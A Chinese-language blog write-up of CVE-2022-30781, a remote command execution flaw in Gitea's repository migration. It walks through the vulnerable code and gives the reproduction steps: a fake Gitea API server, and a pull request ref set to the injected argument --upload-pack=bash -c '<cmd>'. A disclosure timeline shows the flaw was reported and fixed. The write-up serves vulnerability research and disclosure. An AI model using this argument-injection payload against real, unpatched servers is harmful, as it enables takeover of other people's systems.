CVE-2022-30781:一条普通的 Git 命令导致的 Gitea RCE

本文首发于跳跳糖 https://tttang.com/archive/1607/

今年过年放假的时候,我就在挖 Go 相关开源项目的 Security Bounty。通过整理分析现有 Go 开源项目的历史 CVE,我大致摸索出了 Go 项目易出现漏洞的一些地方,以及开发人员经常会疏忽的问题。
前后提交的几个漏洞让我有了好几个 CVE,并且小赚了一笔,换算成人民币应该接近六位数了。😈
具体可以阅读我的上一篇文章:聊聊最近挖 Security Bounty 的感受

Gogs 被 RCE 了,那 Gitea 呢?

在上面的文章中,我提到自己挖掘到了一枚 Gogs 中因为未对用户可控的目录路径进行检测,从而导致后续路径拼接可以导致目录穿越,从而使得攻击者能上传覆盖环境中的任意文件。
在能覆盖任意文件后,我使用的是之前 CVE-2019-11229 中提到的方法,覆盖一个 Git 仓库中 .git/config 文件,设置 core.sshCommand 参数从而达到远程任意命令执行。

一直以来我都十分欣赏这个漏洞,因为它给人畜无害的 Git 传入了恶意的配置,就能导致命令执行。类似的还有 curl,前阵子做到过一道 CTF 题,在环境变量可控的情况下,可以使用 curl 来覆盖文件,同样也十分精彩。

那么,既然 Gogs 被我们 RCE 了,那基于 Gogs 代码分叉出去的 Gitea,是否也存在调用 Git 时,传入恶意参数导致命令执行的问题呢?这,就是这篇文章要讲述的。

寻找攻击点

Gitea 是一个前后端不分离的项目,很多操作还是通过 POST 表单提交。我刚开始审计 Gitea 项目时,打算先集中看一遍它的输入,因此选择先从 Gitea API 入手。通过点击 Gitea 页面右下角的 「API」即可看到一个用 Swagger 搭建的 API 文档。网页上通过表单提交的操作,在这里基本可以找到与之对应的 RESTful API。

第一个 admin 是管理员的操作,肯定有个中间件鉴权,纵使后面有洞也会被前面的中间件给拦了,优先级靠后,先跳过。第二个 miscellaneous 是一对杂项功能,基本不涉及啥复杂的交互,也先跳过…… 之后一连串的看下去,都是些简单的 CRUD 操作,寻思也写不出啥洞,我也懒得去看。😅
而后当点开 repository 选项卡,第一个接口是:

POST /repos/migrate Migrate a remote git repository

诶~ 这个好像有点意思,迁移远端的仓库过来,那肯定是要请求给定的远端仓库 URL,说不定保底就是个 SSRF。展开看接口传入的 JSON 内容,其中包含远端仓库的 URL、是否迁移 Issues、Pull Request、Releases、LFS 等数据。联想到我之前挖的 Gitea 任意文件删除漏洞就是在处理 LFS 文件这里,说不定这里从远端迁移 LFS 文件也会存在类似路径穿越的问题?
带着这个猜想,我去看了 Gitea Migration 部分的代码,不看不知道,一看才发现这功能是个筛子。

Gitea Migration

Gitea 的 Migration 迁移功能由两部分组成,DownloaderUploader,对应到代码中分别是 migration.Downloadermigration.Uploader 两个接口。前者负责从远端的仓库服务下载仓库信息,后者负责将信息打入到 Gitea 中。
目前 Downloader 支持从 GitHub、Gitlab、GitBucket、Gogs、Gitea 等服务导入代码,你可以在 services/migrations 目录下看到对这些平台的 Downloader 接口实现。一般都是调这些服务的 API 来获取托管在其上面仓库的 Issue、Pull Request、Releases 等信息。而 Uploader 的实现只有一个,那就是 Gitea,因为我们最终只会将远端仓库迁移至本 Gitea 实例中。

services/migrations/migrate.go#migrateRepository 是迁移一个远端仓库所要进行的步骤。在给函数传入了对应的 DownloaderUploader 后,它将依次做如下操作:

调用的接口方法 说明
downloader.GetRepoInfo 获取远端仓库基本信息
downloader.FormatCloneURL 获取远端仓库 Git Clone 地址
uploader.CreateRepo 创建本地仓库
downloader.GetTopics uploader.CreateTopics 获取远端仓库 Topic + 创建本地仓库 Topic
downloader.GetMilestones uploader.CreateMilestones 获取远端仓库里程碑 + 创建本地仓库里程碑
downloader.GetLabels uploader.CreateLabels 获取远端仓库标签 + 创建本地仓库标签
downloader.GetReleases uploader.CreateReleases 获取远端仓库 Release 版本 + 创建本地仓库 Release 版本
downloader.GetIssues uploader.CreateIssues 获取远端仓库 Issue + 创建本地仓库 Issue
downloader.GetComments uploader.CreateComments 获取远端仓库评论 + 创建本地仓库评论
downloader.GetPullRequests uploader.CreatePullRequests 获取远端仓库 Pull Request + 创建本地仓库 Pull Request
downloader.GetReviews uploader.CreateReviews 获取远端仓库 Code Review + 创建本地仓库 Code Review

可以看到,仓库迁移的操作就是把信息使用 Downloader 下载回来,然后 Uploader 给存储到本地,这样成对的一来一回。
由于 GitHub、Gitlab、GitBucket 这些属于第三方的 SaaS,我们对其 API 返回的内容并是完全不可控的,因此我将目光瞄准了从 Gogs 和 Gitea 迁移。而 Gitea 的 Downloader 的功能相比 Gogs 的多,当 Gitea 要从另一个 Gitea 实例迁移仓库时,它将请求远端 Gitea 实例的 API,来得知该仓库的名称、Issue、Pull Request、Releases 文件等。
我们试想是否可以伪造一个 Gitea 实例,说白了就是伪造这么一套 Gitea API,让当前 Gitea 实例在迁移仓库时去请求我们伪造的 Gitea API 服务,从中传入一些恶意参数看看能不能搞事情。

经过一个通宵的审计加 @Li4n0 的协助,我们终于发现了一枚远程命令执行漏洞。它从恶意的 Gitea 实例读取精心构造的参数后,拼接进正常的 Git 命令,从而导致了远程命令执行。我们形象地将其称之为:Git 投毒(Git Poison)。

Git 投毒

漏洞点出现在对 Pull Request 的数据迁移上,调用链如下:

  • services/migrations/migrate.go:L376#uploader.CreatePullRequests
  • services/migrations/gitea_uploader.go:L466#g.newPullRequest
  • services/migrations/gitea_uploader.go:L602#g.updateGitForPullRequest

出现漏洞的代码块在 services/migrations/gitea_uploader.go:L531-L567 处,精简后的代码如下:

if pr.IsForkPullRequest() && pr.State != "closed" {
        if pr.Head.OwnerName != "" {
            remote := pr.Head.OwnerName
            _, ok := g.prHeadCache[remote]
            if !ok {
                err := g.gitRepo.AddRemote(remote, pr.Head.CloneURL, true)
                if err != nil {
                    ...
                } else {
                    ok = true
                }
            }

            if ok {
                _, err = git.NewCommand(g.ctx, "fetch", remote, pr.Head.Ref).RunInDir(g.repo.RepoPath())
                ...
            }
        }
} 

当远端存在来自 Fork 仓库提交的 Pull Request 请求,且该 PR 状态不为 Close 时,会进入该分支。
这里有一个 Map g.prHeadCache 作为临时缓存。第一次进入时该缓存为空,检测到 remote 的值不在 g.prHeadCache 中,调用 g.gitRepo.AddRemote 方法,该方法执行命令:

git remote add -f <remote> <pr.Head.CloneURL>

该命令正常执行,无错误抛出后,便将ok 设置成 true。到下方执行命令:

git fetch <remote> <pr.Head.Ref>

当我们选择从远端 Gitea 实例执行迁移时,上述 remote pr.Head.CloneURL pr.Head.Ref 参数均取自远端 Gitea Web API 响应中,均是可控的。因此只需要构造一个 HTTP 服务模拟 Gitea Web API 返回响应,以上的三个参数将从响应中获取。

Git --upload-pack 参数

虽然上述两个命令中的三个参数都可控,但情况并不乐观:

  1. 两条指令分别是 git remote addgit fetch,我们仅能控制其参数。
  2. 第二条命令执行的条件是需要保证第一条命令执行成功。

第一个限制,也是这个漏洞的难点所在。在翻阅了 Git 文档后,Li4n0 发现 Git 的 fetch 子命令中存在 --upload-pack 这个参数。根据官方文档,当 --upload-pack 被指定时,其仓库拉取操作将使用 git fetch-pack --exec=<upload-pack> 替代。而 git fetch-pack 中的 --exec 参数同 --upload-pack 参数,用于指定远端 git-upload-pack 命令执行的路径。

而如果我们设置远端 Git 仓库的路径为一个本地的仓库,则对于这个仓库来说,客户端是当前 Gitea 实例,远端服务端也是当前 Gitea 实例机器上的一个目录。因此便会在当前 Gitea 实例所在的机器上执行命令。

因此, git remote add<pr.Head.CloneURL> 需填入一个本地的 Git 仓库地址。根据 Git 官方文档的描述,Git 支持 file ssh http 三种协议来获取 Git 仓库,本地仓库选择 file 协议。经过测试,如果使用 file://<path> 这种方式,需传入仓库完整的绝对路径。而我们无法得知线上 Gitea 实例的部署情况,自然不知道其绝对路径。同样在查看 Git 官方文档并测试后,我们发现这里不使用 file 协议头,直接输入仓库的相对路径也是可行的。当前两条git命令就是在一个 Git 仓库下执行的,因此直接传入./ 即可。(也可以使用 file 协议头传入绝对路径 /proc/self/cwd/ 来软链接指向当前 Git 命令的运行目录)

对于第二个限制,可以注意到两行命令均用到了 <remote> 变量。 若将 <remote> 变量设置成 --upload-pack 参数,因为 git remote 命令中无该参数,第一条命令会执行失败,第二条命令便不再会被执行。因此要将第二行命令中的 <pr.Head.Ref> 设置成 --upload-pack 参数,<remote> 设置成任意合法的名称,如 origin

即最终执行的两条命令就是:

git remote add -f origin ./

git fetch origin --upload-pack=bash -c '<cmd>'

综上,搭建一个 HTTP 服务并配置以下路由,来伪装成一个 Gitea 实例,响应体可以从一个正常 Gitea 的 API 中截取。

/api/v1/version
/api/v1/settings/api
/api/v1/repos/<owner>/<repo>/
/api/v1/repos/<owner>/<repo>/topics
/api/v1/repos/<owner>/<repo>/pulls
/api/v1/repos/<owner>/<repo>/issues/1/reactions
/api/v1/repos/<owner>/<repo>/pulls/2/reviews

/api/v1/repos/<owner>/<repo>/pulls/2/reviews 路由的响应 JSON 中,修改对应字段控制上文提到了三个字段的值,其中 <cmd> 为执行的命令:

[0].head.ref: --upload-pack=bash -c '<cmd>'
[0].head.repo.clone_url: ./
[0].head.owner.login: <username>

登录 Gitea 实例,右上角点击「+」-> 「迁移外部仓库」->「Gitea」,在 「从 URL 迁移/克隆」 中填入上文搭建的伪装 Gitea 实例地址,执行迁移操作,代码便会被执行。

最后聊几句

其实上面提到的这个只是 Gitea Migration 里杀伤力最大的一个漏洞,比这影响范围小的漏洞还有几个。比如同步 Git 仓库时输入本地目录可以越权查看已知仓库名的私有仓库,同步 Releases 发版信息时 HTTP GET 请求远端文件的 SSRF 等。这些大家可以自己去发掘下。
这个漏洞也正是我在文章开头提到的,给我们日常使用的程序传入恶意的配置或子命令,从而导致任意命令执行。如果开发人员不了解相关的 Trick,那么在调用第三方程序时就会很容易写出类似的漏洞,可谓防不胜防。

时间线

  • 2022-04-16 发现漏洞
  • 2022-04-18 完成 Exploit 编写
  • 2022-04-25 向 Gitea 官方上报漏洞信息
  • 2022-04-26 Gitea 官方回复漏洞已确认,将在 v1.16.7 版本中修复
  • 2022-05-02 Gitea 发布 v1.16.7 版本,漏洞被修复
  • 2022-05-16 下发 CVE 编号:CVE-2022-30781


喜欢这篇文章?为什么不打赏一下呢?

3 条评论

 

昵称
  1. potato

    师傅还记得curl那个题叫什么吗?想搜wp学习一下。

    1. E99p1ant

      找了下,记岔了,是关于 wget 的题 😂
      具体是 *CTF2022 的 oh-my-lotto 和 oh-my-lotto-revenge

      1. potato

        感谢师傅